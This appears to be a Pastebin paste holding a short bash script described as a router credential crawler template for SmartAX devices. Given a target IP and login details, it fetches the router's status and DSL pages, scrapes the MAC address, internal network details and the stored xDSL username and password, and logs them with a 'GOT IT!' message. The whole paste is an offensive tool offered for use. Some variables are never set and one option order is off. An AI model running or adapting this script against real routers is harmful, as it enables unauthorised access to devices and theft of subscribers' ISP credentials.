Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Routers, modems username and password crawler [Template] for SmartAX routers
- wget -q -t 1 -O -T 5 main.html "http://$1/MainPage?id=1" --user=$3 --password=$4
- wget -q -t 1 -O -T 5 dsl.html "http://$1/MainPage?id=25&ex_param1=8" --user=$3 --password=$4
- mac=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | tail -1 | awk -F "<" '{ print $1 }'`
- internal_ip=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -3 | tail -1 | awk -F "<" '{ print $1 }'`
- internal_netmask=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -4 | tail -1 | awk -F "<" '{ print $1 }'`
- dsl_username=`cat dsl.html | grep MacWanUsrName | awk -F"'" '{ print $2 }'`
- dsl_password=`cat dsl.html | grep MacWanPasswd | awk -F"'" '{ print $2 }'`
- echo "================================================" >> $2
- echo "Target external IP: $1" >> $2
- echo "Device type: $0" >> $2
- echo "Device MAC address: $mac" >> $2
- echo "Internal IP: $internal_ip" >> $2
- echo "Internal netmask: $internal_netmask" >> $2
- echo "xDSL username: $dsl_username" >> $2
- echo "xDSL password: $dsl_password" >> $2
- echo "================================================" >> $2
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
- rm main.html
- rm dsl.html
Advertisement
Add Comment
Please, Sign In to add comment